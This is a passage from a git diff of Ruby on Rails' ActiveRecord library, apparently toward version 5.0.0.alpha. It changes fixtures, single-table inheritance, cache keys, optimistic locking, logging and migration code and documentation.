-  # Deprecate 'Fixtures' in favor of 'FixtureSet'.
-  #++
-  # :nodoc:
-  Fixtures = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('ActiveRecord::Fixtures', 'ActiveRecord::FixtureSet')
-
   class Fixture #:nodoc:
     include Enumerable
 
@@ -699,7 +805,9 @@ module ActiveRecord
 
     def find
       if model_class
-        model_class.find(fixture[model_class.primary_key])
+        model_class.unscoped do
+          model_class.find(fixture[model_class.primary_key])
+        end
       else
         raise FixtureClassNotFound, "No class attached to find."
       end
@@ -759,38 +867,13 @@ module ActiveRecord
           fixture_set_names = Dir["#{fixture_path}/{**,*}/*.{yml}"]
           fixture_set_names.map! { |f| f[(fixture_path.to_s.size + 1)..-5] }
         else
-          fixture_set_names = fixture_set_names.flatten.map { |n| n.to_s }
+          fixture_set_names = fixture_set_names.flatten.map(&:to_s)
         end
 
         self.fixture_table_names |= fixture_set_names
-        require_fixture_classes(fixture_set_names, self.config)
         setup_fixture_accessors(fixture_set_names)
       end
 
-      def try_to_load_dependency(file_name)
-        require_dependency file_name
-      rescue LoadError => e
-        # Let's hope the developer has included it
-        # Let's warn in case this is a subdependency, otherwise
-        # subdependency error messages are totally cryptic
-        if ActiveRecord::Base.logger
-          ActiveRecord::Base.logger.warn("Unable to load #{file_name}, underlying cause #{e.message} \n\n #{e.backtrace.join("\n")}")
-        end
-      end
-
-      def require_fixture_classes(fixture_set_names = nil, config = ActiveRecord::Base)
-        if fixture_set_names
-          fixture_set_names = fixture_set_names.map { |n| n.to_s }
-        else
-          fixture_set_names = fixture_table_names
-        end
-
-        fixture_set_names.each do |file_name|
-          file_name = file_name.singularize if config.pluralize_table_names
-          try_to_load_dependency(file_name)
-        end
-      end
-
       def setup_fixture_accessors(fixture_set_names = nil)
         fixture_set_names = Array(fixture_set_names || fixture_table_names)
         methods = Module.new do
@@ -804,7 +887,7 @@ module ActiveRecord
               @fixture_cache[fs_name] ||= {}
 
               instances = fixture_names.map do |f_name|
-                f_name = f_name.to_s
+                f_name = f_name.to_s if f_name.is_a?(Symbol)
                 @fixture_cache[fs_name].delete(f_name) if force_reload
 
                 if @loaded_fixtures[fs_name][f_name]
@@ -824,7 +907,7 @@ module ActiveRecord
 
       def uses_transaction(*methods)
         @uses_transaction = [] unless defined?(@uses_transaction)
-        @uses_transaction.concat methods.map { |m| m.to_s }
+        @uses_transaction.concat methods.map(&:to_s)
       end
 
       def uses_transaction?(method)
@@ -867,7 +950,7 @@ module ActiveRecord
       end
 
       # Instantiate fixtures for every test if requested.
-      instantiate_fixtures(config) if use_instantiated_fixtures
+      instantiate_fixtures if use_instantiated_fixtures
     end
 
     def teardown_fixtures
@@ -894,16 +977,9 @@ module ActiveRecord
         Hash[fixtures.map { |f| [f.name, f] }]
       end
 
-      # for pre_loaded_fixtures, only require the classes once. huge speed improvement
-      @@required_fixture_classes = false
-
-      def instantiate_fixtures(config)
+      def instantiate_fixtures
         if pre_loaded_fixtures
           raise RuntimeError, 'Load fixtures before instantiating them.' if ActiveRecord::FixtureSet.all_loaded_fixtures.empty?
-          unless @@required_fixture_classes
-            self.class.require_fixture_classes ActiveRecord::FixtureSet.all_loaded_fixtures.keys, config
-            @@required_fixture_classes = true
-          end
           ActiveRecord::FixtureSet.instantiate_all_loaded_fixtures(self, load_instances?)
         else
           raise RuntimeError, 'Load fixtures before instantiating them.' if @loaded_fixtures.nil?
@@ -918,3 +994,13 @@ module ActiveRecord
       end
   end
 end
+
+class ActiveRecord::FixtureSet::RenderContext # :nodoc:
+  def self.create_subclass
+    Class.new ActiveRecord::FixtureSet.context_class do
+      def get_binding
+        binding()
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/gem_version.rb b/activerecord/lib/active_record/gem_version.rb
new file mode 100644
index 0000000000..a388b529c9
--- /dev/null
+++ b/activerecord/lib/active_record/gem_version.rb
@@ -0,0 +1,15 @@
+module ActiveRecord
+  # Returns the version of the currently loaded Active Record as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 5
+    MINOR = 0
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/activerecord/lib/active_record/inheritance.rb b/activerecord/lib/active_record/inheritance.rb
index e826762def..24098f72dc 100644
--- a/activerecord/lib/active_record/inheritance.rb
+++ b/activerecord/lib/active_record/inheritance.rb
@@ -1,6 +1,37 @@
 require 'active_support/core_ext/hash/indifferent_access'
 
 module ActiveRecord
+  # == Single table inheritance
+  #
+  # Active Record allows inheritance by storing the name of the class in a column that by
+  # default is named "type" (can be changed by overwriting <tt>Base.inheritance_column</tt>).
+  # This means that an inheritance looking like this:
+  #
+  #   class Company < ActiveRecord::Base; end
+  #   class Firm < Company; end
+  #   class Client < Company; end
+  #   class PriorityClient < Client; end
+  #
+  # When you do <tt>Firm.create(name: "37signals")</tt>, this record will be saved in
+  # the companies table with type = "Firm". You can then fetch this row again using
+  # <tt>Company.where(name: '37signals').first</tt> and it will return a Firm object.
+  #
+  # Be aware that because the type column is an attribute on the record every new
+  # subclass will instantly be marked as dirty and the type column will be included
+  # in the list of changed attributes on the record. This is different from non
+  # STI classes:
+  #
+  #   Company.new.changed? # => false
+  #   Firm.new.changed?    # => true
+  #   Firm.new.changes     # => {"type"=>["","Firm"]}
+  #
+  # If you don't have a type column defined in your table, single-table inheritance won't
+  # be triggered. In that case, it'll work just like normal subclasses with no special magic
+  # for differentiating between them or reloading the right type with find.
+  #
+  # Note, all the attributes for all the cases are kept in the same table. Read more:
+  # http://www.martinfowler.com/eaaCatalog/singleTableInheritance.html
+  #
   module Inheritance
     extend ActiveSupport::Concern
 
@@ -16,15 +47,19 @@ module ActiveRecord
       # instance of the given subclass instead of the base class.
       def new(*args, &block)
         if abstract_class? || self == Base
-          raise NotImplementedError, "#{self} is an abstract class and can not be instantiated."
+          raise NotImplementedError, "#{self} is an abstract class and cannot be instantiated."
         end
-        if (attrs = args.first).is_a?(Hash)
-          if subclass = subclass_from_attrs(attrs)
-            return subclass.new(*args, &block)
-          end
+
+        attrs = args.first
+        if subclass_from_attributes?(attrs)
+          subclass = subclass_from_attributes(attrs)
+        end
+
+        if subclass
+          subclass.new(*args, &block)
+        else
+          super
         end
-        # Delegate to the original .new
-        super
       end
 
       # Returns +true+ if this does not need STI type condition. Returns
@@ -44,14 +79,6 @@ module ActiveRecord
         :true == (@finder_needs_type_condition ||= descends_from_active_record? ? :false : :true)
       end
 
-      def symbolized_base_class
-        @symbolized_base_class ||= base_class.to_s.to_sym
-      end
-
-      def symbolized_sti_name
-        @symbolized_sti_name ||= sti_name.present? ? sti_name.to_sym : symbolized_base_class
-      end
-
       # Returns the class descending directly from ActiveRecord::Base, or
       # an abstract class, if any, in the inheritance hierarchy.
       #
@@ -114,17 +141,11 @@ module ActiveRecord
           candidates << type_name
 
           candidates.each do |candidate|
-            begin
-              constant = ActiveSupport::Dependencies.constantize(candidate)
-              return constant if candidate == constant.to_s
-            # We don't want to swallow NoMethodError < NameError errors
-            rescue NoMethodError
-              raise
-            rescue NameError
-            end
+            constant = ActiveSupport::Dependencies.safe_constantize(candidate)
+            return constant if candidate == constant.to_s
           end
 
-          raise NameError, "uninitialized constant #{candidates.first}"
+          raise NameError.new("uninitialized constant #{candidates.first}", candidates.first)
         end
       end
 
@@ -160,8 +181,8 @@ module ActiveRecord
       end
 
       def type_condition(table = arel_table)
-        sti_column = table[inheritance_column.to_sym]
-        sti_names  = ([self] + descendants).map { |model| model.sti_name }
+        sti_column = table[inheritance_column]
+        sti_names  = ([self] + descendants).map(&:sti_name)
 
         sti_column.in(sti_names)
       end
@@ -170,7 +191,11 @@ module ActiveRecord
       # is not self or a valid subclass, raises ActiveRecord::SubclassNotFound
       # If this is a StrongParameters hash, and access to inheritance_column is not permitted,
       # this will ignore the inheritance column and return nil
-      def subclass_from_attrs(attrs)
+      def subclass_from_attributes?(attrs)
+        attribute_names.include?(inheritance_column) && attrs.is_a?(Hash)
+      end
+
+      def subclass_from_attributes(attrs)
         subclass_name = attrs.with_indifferent_access[inheritance_column]
 
         if subclass_name.present? && subclass_name != self.name
@@ -185,8 +210,18 @@ module ActiveRecord
       end
     end
 
+    def initialize_dup(other)
+      super
+      ensure_proper_type
+    end
+
     private
 
+    def initialize_internals_callback
+      super
+      ensure_proper_type
+    end
+
     # Sets the attribute used for single table inheritance to this class name if this is not the
     # ActiveRecord::Base descendant.
     # Considering the hierarchy Reply < Message < ActiveRecord::Base, this makes it possible to
diff --git a/activerecord/lib/active_record/integration.rb b/activerecord/lib/active_record/integration.rb
index 2589b2f3da..15b2f65dcb 100644
--- a/activerecord/lib/active_record/integration.rb
+++ b/activerecord/lib/active_record/integration.rb
@@ -1,3 +1,5 @@
+require 'active_support/core_ext/string/filters'
+
 module ActiveRecord
   module Integration
     extend ActiveSupport::Concern
@@ -45,15 +47,66 @@ module ActiveRecord
     #   Product.new.cache_key     # => "products/new"
     #   Product.find(5).cache_key # => "products/5" (updated_at not available)
     #   Person.find(5).cache_key  # => "people/5-20071224150000" (updated_at available)
-    def cache_key
+    #
+    # You can also pass a list of named timestamps, and the newest in the list will be
+    # used to generate the key:
+    #
+    #   Person.find(5).cache_key(:updated_at, :last_reviewed_at)
+    def cache_key(*timestamp_names)
       case
       when new_record?
-        "#{self.class.model_name.cache_key}/new"
+        "#{model_name.cache_key}/new"
+      when timestamp_names.any?
+        timestamp = max_updated_column_timestamp(timestamp_names)
+        timestamp = timestamp.utc.to_s(cache_timestamp_format)
+        "#{model_name.cache_key}/#{id}-#{timestamp}"
       when timestamp = max_updated_column_timestamp
         timestamp = timestamp.utc.to_s(cache_timestamp_format)
-        "#{self.class.model_name.cache_key}/#{id}-#{timestamp}"
+        "#{model_name.cache_key}/#{id}-#{timestamp}"
       else
-        "#{self.class.model_name.cache_key}/#{id}"
+        "#{model_name.cache_key}/#{id}"
+      end
+    end
+
+    module ClassMethods
+      # Defines your model's +to_param+ method to generate "pretty" URLs
+      # using +method_name+, which can be any attribute or method that
+      # responds to +to_s+.
+      #
+      #   class User < ActiveRecord::Base
+      #     to_param :name
+      #   end
+      #
+      #   user = User.find_by(name: 'Fancy Pants')
+      #   user.id         # => 123
+      #   user_path(user) # => "/users/123-fancy-pants"
+      #
+      # Values longer than 20 characters will be truncated. The value
+      # is truncated word by word.
+      #
+      #   user = User.find_by(name: 'David HeinemeierHansson')
+      #   user.id         # => 125
+      #   user_path(user) # => "/users/125-david"
+      #
+      # Because the generated param begins with the record's +id+, it is
+      # suitable for passing to +find+. In a controller, for example:
+      #
+      #   params[:id]               # => "123-fancy-pants"
+      #   User.find(params[:id]).id # => 123
+      def to_param(method_name = nil)
+        if method_name.nil?
+          super()
+        else
+          define_method :to_param do
+            if (default = super()) &&
+                 (result = send(method_name).to_s).present? &&
+                   (param = result.squish.truncate(20, separator: /\s/, omission: nil).parameterize).present?
+              "#{default}-#{param}"
+            else
+              default
+            end
+          end
+        end
       end
     end
   end
diff --git a/activerecord/lib/active_record/locale/en.yml b/activerecord/lib/active_record/locale/en.yml
index b1fbd38622..8a3c27e6da 100644
--- a/activerecord/lib/active_record/locale/en.yml
+++ b/activerecord/lib/active_record/locale/en.yml
@@ -7,6 +7,7 @@ en:
   # Default error messages
   errors:
     messages:
+      required: "must exist"
       taken: "has already been taken"
 
   # Active Record models configuration
diff --git a/activerecord/lib/active_record/locking/optimistic.rb b/activerecord/lib/active_record/locking/optimistic.rb
index 626fe40103..c5b10fcddf 100644
--- a/activerecord/lib/active_record/locking/optimistic.rb
+++ b/activerecord/lib/active_record/locking/optimistic.rb
@@ -11,7 +11,7 @@ module ActiveRecord
     #
     # == Usage
     #
-    # Active Records support optimistic locking if the field +lock_version+ is present. Each update to the
+    # Active Record supports optimistic locking if the +lock_version+ field is present. Each update to the
     # record increments the +lock_version+ column and the locking facilities ensure that records instantiated twice
     # will let the last one saved raise a +StaleObjectError+ if the first was also updated. Example:
     #
@@ -66,7 +66,16 @@ module ActiveRecord
           send(lock_col + '=', previous_lock_value + 1)
         end
 
-        def update_record(attribute_names = @attributes.keys) #:nodoc:
+        def _create_record(attribute_names = self.attribute_names, *) # :nodoc:
+          if locking_enabled?
+            # We always want to persist the locking version, even if we don't detect
+            # a change from the default, since the database might have no default
+            attribute_names |= [self.class.locking_column]
+          end
+          super
+        end
+
+        def _update_record(attribute_names = self.attribute_names) #:nodoc:
           return super unless locking_enabled?
           return 0 if attribute_names.empty?
 
@@ -80,13 +89,14 @@ module ActiveRecord
           begin
             relation = self.class.unscoped
 
-            stmt = relation.where(
-              relation.table[self.class.primary_key].eq(id).and(
-                relation.table[lock_col].eq(self.class.quote_value(previous_lock_value, column_for_attribute(lock_col)))
-              )
-            ).arel.compile_update(arel_attributes_with_values_for_update(attribute_names))
-
-            affected_rows = self.class.connection.update stmt
+            affected_rows = relation.where(
+              self.class.primary_key => id,
+              lock_col => previous_lock_value,
+            ).update_all(
+              attribute_names.map do |name|
+                [name, _read_attribute(name)]
+              end.to_h
+            )
 
             unless affected_rows == 1
               raise ActiveRecord::StaleObjectError.new(self, "update")
@@ -115,12 +125,8 @@ module ActiveRecord
           relation = super
 
           if locking_enabled?
-            column_name = self.class.locking_column
-            column      = self.class.columns_hash[column_name]
-            substitute  = self.class.connection.substitute_at(column, relation.bind_values.length)
-
-            relation = relation.where(self.class.arel_table[column_name].eq(substitute))
-            relation.bind_values << [column, self[column_name].to_i]
+            locking_column = self.class.locking_column
+            relation = relation.where(locking_column => _read_attribute(locking_column))
           end
 
           relation
@@ -138,7 +144,7 @@ module ActiveRecord
 
         # Set the column to use for optimistic locking. Defaults to +lock_version+.
         def locking_column=(value)
-          @column_defaults = nil
+          reload_schema_from_cache
           @locking_column = value.to_s
         end
 
@@ -148,11 +154,6 @@ module ActiveRecord
           @locking_column
         end
 
-        # Quote the column name used for optimistic locking.
-        def quoted_locking_column
-          connection.quote_column_name(locking_column)
-        end
-
         # Reset the column used for optimistic locking back to the +lock_version+ default.
         def reset_locking_column
           self.locking_column = DEFAULT_LOCKING_COLUMN
@@ -165,18 +166,37 @@ module ActiveRecord
           super
         end
 
-        def column_defaults
-          @column_defaults ||= begin
-            defaults = super
-
-            if defaults.key?(locking_column) && lock_optimistically
-              defaults[locking_column] ||= 0
+        private
+
+        # We need to apply this decorator here, rather than on module inclusion. The closure
+        # created by the matcher would otherwise evaluate for `ActiveRecord::Base`, not the
+        # sub class being decorated. As such, changes to `lock_optimistically`, or
+        # `locking_column` would not be picked up.
+        def inherited(subclass)
+          subclass.class_eval do
+            is_lock_column = ->(name, _) { lock_optimistically && name == locking_column }
+            decorate_matching_attribute_types(is_lock_column, :_optimistic_locking) do |type|
+              LockingType.new(type)
             end
-
-            defaults
           end
+          super
         end
       end
     end
+
+    class LockingType < DelegateClass(Type::Value) # :nodoc:
+      def type_cast_from_database(value)
+        # `nil` *should* be changed to 0
+        super.to_i
+      end
+
+      def init_with(coder)
+        __setobj__(coder['subtype'])
+      end
+
+      def encode_with(coder)
+        coder['subtype'] = __getobj__
+      end
+    end
   end
 end
diff --git a/activerecord/lib/active_record/locking/pessimistic.rb b/activerecord/lib/active_record/locking/pessimistic.rb
index ddf2afca0c..ff7102d35b 100644
--- a/activerecord/lib/active_record/locking/pessimistic.rb
+++ b/activerecord/lib/active_record/locking/pessimistic.rb
@@ -3,12 +3,12 @@ module ActiveRecord
     # Locking::Pessimistic provides support for row-level locking using
     # SELECT ... FOR UPDATE and other lock types.
     #
-    # Pass <tt>lock: true</tt> to <tt>ActiveRecord::Base.find</tt> to obtain an exclusive
+    # Chain <tt>ActiveRecord::Base#find</tt> to <tt>ActiveRecord::QueryMethods#lock</tt> to obtain an exclusive
     # lock on the selected rows:
     #   # select * from accounts where id=1 for update
-    #   Account.find(1, lock: true)
+    #   Account.lock.find(1)
     #
-    # Pass <tt>lock: 'some locking clause'</tt> to give a database-specific locking clause
+    # Call <tt>lock('some locking clause')</tt> to use a database-specific locking clause
     # of your own such as 'LOCK IN SHARE MODE' or 'FOR UPDATE NOWAIT'. Example:
     #
     #   Account.transaction do
diff --git a/activerecord/lib/active_record/log_subscriber.rb b/activerecord/lib/active_record/log_subscriber.rb
index 0358a36b14..6b26d7be78 100644
--- a/activerecord/lib/active_record/log_subscriber.rb
+++ b/activerecord/lib/active_record/log_subscriber.rb
@@ -17,19 +17,17 @@ module ActiveRecord
 
     def initialize
       super
-      @odd_or_even = false
+      @odd = false
     end
 
-    def render_bind(column, value)
-      if column
-        if column.binary?
-          value = "<#{value.bytesize} bytes of binary data>"
-        end
-
-        [column.name, value]
+    def render_bind(attribute)
+      value = if attribute.type.binary? && attribute.value
+        "<#{attribute.value.bytesize} bytes of binary data>"
       else
-        [nil, value]
+        attribute.value_for_database
       end
+
+      [attribute.name, value]
     end
 
     def sql(event)
@@ -45,9 +43,7 @@ module ActiveRecord
       binds = nil
 
       unless (payload[:binds] || []).empty?
-        binds = "  " + payload[:binds].map { |col,v|
-          render_bind(col, v)
-        }.inspect
+        binds = "  " + payload[:binds].map { |attr| render_bind(attr) }.inspect
       end
 
       if odd?
@@ -60,17 +56,8 @@ module ActiveRecord
       debug "  #{name}  #{sql}#{binds}"
     end
 
-    def identity(event)
-      return unless logger.debug?
-
-      name = color(event.payload[:name], odd? ? CYAN : MAGENTA, true)
-      line = odd? ? color(event.payload[:line], nil, true) : event.payload[:line]
-
-      debug "  #{name}  #{line}"
-    end
-
     def odd?
-      @odd_or_even = !@odd_or_even
+      @odd = !@odd
     end
 
     def logger
diff --git a/activerecord/lib/active_record/migration.rb b/activerecord/lib/active_record/migration.rb
index a1ad4f6255..46f4794010 100644
--- a/activerecord/lib/active_record/migration.rb
+++ b/activerecord/lib/active_record/migration.rb
@@ -1,38 +1,49 @@
-require "active_support/core_ext/class/attribute_accessors"
+require "active_support/core_ext/module/attribute_accessors"
 require 'set'
 
 module ActiveRecord
+  class MigrationError < ActiveRecordError#:nodoc:
+    def initialize(message = nil)
+      message = "\n\n#{message}\n\n" if message
+      super
+    end
+  end
+
   # Exception that can be raised to stop migrations from going backwards.
-  class IrreversibleMigration < ActiveRecordError
+  class IrreversibleMigration < MigrationError
   end
 
-  class DuplicateMigrationVersionError < ActiveRecordError#:nodoc:
+  class DuplicateMigrationVersionError < MigrationError#:nodoc:
     def initialize(version)
       super("Multiple migrations have the version number #{version}")
     end
   end
 
-  class DuplicateMigrationNameError < ActiveRecordError#:nodoc:
+  class DuplicateMigrationNameError < MigrationError#:nodoc:
     def initialize(name)
       super("Multiple migrations have the name #{name}")
     end
   end
 
-  class UnknownMigrationVersionError < ActiveRecordError #:nodoc:
+  class UnknownMigrationVersionError < MigrationError #:nodoc:
     def initialize(version)
       super("No migration with version number #{version}")
     end
   end
 
-  class IllegalMigrationNameError < ActiveRecordError#:nodoc:
+  class IllegalMigrationNameError < MigrationError#:nodoc:
     def initialize(name)
       super("Illegal name for migration file: #{name}\n\t(only lower case letters, numbers, and '_' allowed)")
     end
   end
 
-  class PendingMigrationError < ActiveRecordError#:nodoc:
+  class PendingMigrationError < MigrationError#:nodoc:
     def initialize
-      super("Migrations are pending; run 'bin/rake db:migrate RAILS_ENV=#{::Rails.env}' to resolve this issue.")
+      if defined?(Rails.env)
+        super("Migrations are pending. To resolve this issue, run:\n\n\tbin/rake db:migrate RAILS_ENV=#{::Rails.env}")
+      else
+        super("Migrations are pending. To resolve this issue, run:\n\n\tbin/rake db:migrate")
+      end
     end
   end
 
@@ -120,8 +131,8 @@ module ActiveRecord
   #   a column but keeps the type and content.
   # * <tt>change_column(table_name, column_name, type, options)</tt>:  Changes
   #   the column to a different type using the same parameters as add_column.
-  # * <tt>remove_column(table_name, column_names)</tt>: Removes the column listed in
-  #   +column_names+ from the table called +table_name+.
+  # * <tt>remove_column(table_name, column_name, type, options)</tt>: Removes the column
+  #   named +column_name+ from the table called +table_name+.
   # * <tt>add_index(table_name, column_names, options)</tt>: Adds a new index
   #   with the name of the column. Other options include
   #   <tt>:name</tt>, <tt>:unique</tt> (e.g.
@@ -150,21 +161,14 @@ module ActiveRecord
   # in the <tt>db/migrate/</tt> directory where <tt>timestamp</tt> is the
   # UTC formatted date and time that the migration was generated.
   #
-  # You may then edit the <tt>up</tt> and <tt>down</tt> methods of
-  # MyNewMigration.
-  #
   # There is a special syntactic shortcut to generate migrations that add fields to a table.
   #
   #   rails generate migration add_fieldname_to_tablename fieldname:string
   #
   # This will generate the file <tt>timestamp_add_fieldname_to_tablename</tt>, which will look like this:
   #   class AddFieldnameToTablename < ActiveRecord::Migration
-  #     def up
-  #       add_column :tablenames, :fieldname, :string
-  #     end
-  #
-  #     def down
-  #       remove_column :tablenames, :fieldname
+  #     def change
+  #       add_column :tablenames, :field, :string
   #     end
   #   end
   #
@@ -177,14 +181,17 @@ module ActiveRecord
   #
   # To roll the database back to a previous migration version, use
   # <tt>rake db:migrate VERSION=X</tt> where <tt>X</tt> is the version to which
-  # you wish to downgrade. If any of the migrations throw an
-  # <tt>ActiveRecord::IrreversibleMigration</tt> exception, that step will fail and you'll
-  # have some manual work to do.
+  # you wish to downgrade. Alternatively, you can also use the STEP option if you
+  # wish to rollback last few migrations. <tt>rake db:migrate STEP=2</tt> will rollback
+  # the latest two migrations.
+  #
+  # If any of the migrations throw an <tt>ActiveRecord::IrreversibleMigration</tt> exception,
+  # that step will fail and you'll have some manual work to do.
   #
   # == Database support
   #
   # Migrations are currently supported in MySQL, PostgreSQL, SQLite,
-  # SQL Server, Sybase, and Oracle (all supported databases except DB2).
+  # SQL Server, and Oracle (all supported databases except DB2).
   #
   # == More examples
   #
@@ -361,21 +368,49 @@ module ActiveRecord
       end
 
       def call(env)
-        mtime = ActiveRecord::Migrator.last_migration.mtime.to_i
-        if @last_check < mtime
-          ActiveRecord::Migration.check_pending!
-          @last_check = mtime
+        if connection.supports_migrations?
+          mtime = ActiveRecord::Migrator.last_migration.mtime.to_i
+          if @last_check < mtime
+            ActiveRecord::Migration.check_pending!(connection)
+            @last_check = mtime
+          end
         end
         @app.call(env)
       end
+
+      private
+
+      def connection
+        ActiveRecord::Base.connection
+      end
     end
 
     class << self
       attr_accessor :delegate # :nodoc:
       attr_accessor :disable_ddl_transaction # :nodoc:
 
-      def check_pending!
-        raise ActiveRecord::PendingMigrationError if ActiveRecord::Migrator.needs_migration?
+      def check_pending!(connection = Base.connection)
+        raise ActiveRecord::PendingMigrationError if ActiveRecord::Migrator.needs_migration?(connection)
+      end
+
+      def load_schema_if_pending!
+        if ActiveRecord::Migrator.needs_migration? || !ActiveRecord::Migrator.any_migrations?
+          # Roundrip to Rake to allow plugins to hook into database initialization.
+          FileUtils.cd Rails.root do
+            current_config = Base.connection_config
+            Base.clear_all_connections!
+            system("bin/rake db:test:prepare")
+            # Establish a new connection, the old database may be gone (db:test:prepare uses purge)
+            Base.establish_connection(current_config)
+          end
+          check_pending!
+        end
+      end
+
+      def maintain_test_schema! # :nodoc:
+        if ActiveRecord::Base.maintain_test_schema
+          suppress_messages { load_schema_if_pending! }
+        end
       end
 
       def method_missing(name, *args, &block) # :nodoc:
@@ -612,13 +647,15 @@ module ActiveRecord
     end
 
     def method_missing(method, *arguments, &block)
-      arg_list = arguments.map{ |a| a.inspect } * ', '
+      arg_list = arguments.map(&:inspect) * ', '
 
       say_with_time "#{method}(#{arg_list})" do
         unless @connection.respond_to? :revert
-          unless arguments.empty? || method == :execute
+          unless arguments.empty? || [:execute, :enable_extension, :disable_extension].include?(method)
             arguments[0] = proper_table_name(arguments.first, table_name_options)
-            arguments[1] = proper_table_name(arguments.second, table_name_options) if method == :rename_table
+            if [:rename_table, :add_foreign_key].include?(method)
+              arguments[1] = proper_table_name(arguments.second, table_name_options)
+            end
           end
         end
         return super unless connection.respond_to?(method)
@@ -629,7 +666,7 @@ module ActiveRecord
     def copy(destination, sources, options = {})
       copied = []
 
-      FileUtils.mkdir_p(destination) unless File.exists?(destination)
+      FileUtils.mkdir_p(destination) unless File.exist?(destination)
 
       destination_migrations = ActiveRecord::Migrator.migrations(destination)
       last = destination_migrations.last
@@ -687,7 +724,7 @@ module ActiveRecord
       if ActiveRecord::Base.timestamped_migrations
         [Time.now.utc.strftime("%Y%m%d%H%M%S"), "%.14d" % number].max
       else
-        "%.3d" % number
+        SchemaMigration.normalize_migration_number(number)
       end
     end
 
@@ -735,7 +772,7 @@ module ActiveRecord
 
       def load_migration
         require(File.expand_path(filename))
-        name.constantize.new
+        name.constantize.new(name, version)
       end
 
   end
@@ -780,43 +817,46 @@ module ActiveRecord
         migrations = migrations(migrations_paths)
         migrations.select! { |m| yield m } if block_given?
 
-        self.new(:up, migrations, target_version).migrate
+        new(:up, migrations, target_version).migrate
       end
 
       def down(migrations_paths, target_version = nil, &block)
         migrations = migrations(migrations_paths)
         migrations.select! { |m| yield m } if block_given?
 
-        self.new(:down, migrations, target_version).migrate
+        new(:down, migrations, target_version).migrate
       end
 
       def run(direction, migrations_paths, target_version)
-        self.new(direction, migrations(migrations_paths), target_version).run
+        new(direction, migrations(migrations_paths), target_version).run
       end
 
       def open(migrations_paths)
-        self.new(:up, migrations(migrations_paths), nil)
+        new(:up, migrations(migrations_paths), nil)
       end
 
       def schema_migrations_table_name
         SchemaMigration.table_name
       end
 
-      def get_all_versions
-        SchemaMigration.all.map { |x| x.version.to_i }.sort
-      end
-
-      def current_version
-        sm_table = schema_migrations_table_name
-        if Base.connection.table_exists?(sm_table)
-          get_all_versions.max || 0
+      def get_all_versions(connection = Base.connection)
+        if connection.table_exists?(schema_migrations_table_name)
+          SchemaMigration.all.map { |x| x.version.to_i }.sort
         else
-          0
+          []
         end
       end
 
-      def needs_migration?
-        current_version < last_version
+      def current_version(connection = Base.connection)
+        get_all_versions(connection).max || 0
+      end
+
+      def needs_migration?(connection = Base.connection)
+        (migrations(migrations_paths).collect(&:version) - get_all_versions(connection)).size > 0
+      end
+
+      def any_migrations?
+        migrations(migrations_paths).any?
       end
 
       def last_version
@@ -827,19 +867,6 @@ module ActiveRecord
         migrations(migrations_paths).last || NullMigration.new
       end
 
-      def proper_table_name(name, options = {})
-        ActiveSupport::Deprecation.warn "ActiveRecord::Migrator.proper_table_name is deprecated and will be removed in Rails 4.2. Use the proper_table_name instance method on ActiveRecord::Migration instead"
-        options = {
-          table_name_prefix: ActiveRecord::Base.table_name_prefix,
-          table_name_suffix: ActiveRecord::Base.table_name_suffix
-        }.merge(options)
-        if name.respond_to? :table_name
-          name.table_name
-        else
-          "#{options[:table_name_prefix]}#{name}#{options[:table_name_suffix]}"
-        end
-      end
-
       def migrations_paths
         @migrations_paths ||= ['db/migrate']
         # just to not break things if someone uses: migration_path = some_string
@@ -871,7 +898,7 @@ module ActiveRecord
       private
 
       def move(direction, migrations_paths, steps)
-        migrator = self.new(direction, migrations(migrations_paths))
+        migrator = new(direction, migrations(migrations_paths))
         start_index = migrator.migrations.index(migrator.current_migration)
 
         if start_index
@@ -892,7 +919,7 @@ module ActiveRecord
 
       validate(@migrations)
 
-      ActiveRecord::SchemaMigration.create_table
+      Base.connection.initialize_schema_migrations_table
     end
 
     def current_version
diff --git a/activerecord/lib/active_record/migration/command_recorder.rb b/activerecord/lib/active_record/migration/command_recorder.rb
index 01c73be849..36256415df 100644
--- a/activerecord/lib/active_record/migration/command_recorder.rb
+++ b/activerecord/lib/active_record/migration/command_recorder.rb
@@ -74,7 +74,9 @@ module ActiveRecord
         :rename_index, :rename_column, :add_index, :remove_index, :add_timestamps, :remove_timestamps,
         :change_column_default, :add_reference, :remove_reference, :transaction,
         :drop_join_table, :drop_table, :execute_block, :enable_extension,
-        :change_column, :execute, :remove_columns, # irreversible methods need to be here too
+        :change_column, :execute, :remove_columns, :change_column_null,
+        :add_foreign_key, :remove_foreign_key
+       # irreversible methods need to be here too
       ].each do |method|
         class_eval <<-EOV, __FILE__, __LINE__ + 1
           def #{method}(*args, &block)          # def create_table(*args, &block)
@@ -85,8 +87,8 @@ module ActiveRecord
       alias :add_belongs_to :add_reference
       alias :remove_belongs_to :remove_reference
 
-      def change_table(table_name, options = {})
-        yield ConnectionAdapters::Table.new(table_name, self)
+      def change_table(table_name, options = {}) # :nodoc:
+        yield delegate.update_table_definition(table_name, self)
       end
 
       private
@@ -140,7 +142,12 @@ module ActiveRecord
 
       def invert_add_index(args)
         table, columns, options = *args
-        [:remove_index, [table, (options || {}).merge(column: columns)]]
+        options ||= {}
+
+        index_name = options[:name]
+        options_hash = index_name ? { name: index_name } : { column: columns }
+
+        [:remove_index, [table, options_hash]]
       end
 
       def invert_remove_index(args)
@@ -157,11 +164,33 @@ module ActiveRecord
       alias :invert_add_belongs_to :invert_add_reference
       alias :invert_remove_belongs_to :invert_remove_reference
 
+      def invert_change_column_null(args)
+        args[2] = !args[2]
+        [:change_column_null, args]
+      end
+
+      def invert_add_foreign_key(args)
+        from_table, to_table, add_options = args
+        add_options ||= {}
+
+        if add_options[:name]
+          options = { name: add_options[:name] }
+        elsif add_options[:column]
+          options = { column: add_options[:column] }
+        else
+          options = to_table
+        end
+
+        [:remove_foreign_key, [from_table, options]]
+      end
+
       # Forwards any missing method call to the \target.
       def method_missing(method, *args, &block)
-        @delegate.send(method, *args, &block)
-      rescue NoMethodError => e
-        raise e, e.message.sub(/ for #<.*$/, " via proxy for #{@delegate}")
+        if @delegate.respond_to?(method)
+          @delegate.send(method, *args, &block)
+        else
+          super
+        end
       end
     end
   end
diff --git a/activerecord/lib/active_record/migration/join_table.rb b/activerecord/lib/active_record/migration/join_table.rb
index ebf64cbcdc..05569fadbd 100644
--- a/activerecord/lib/active_record/migration/join_table.rb
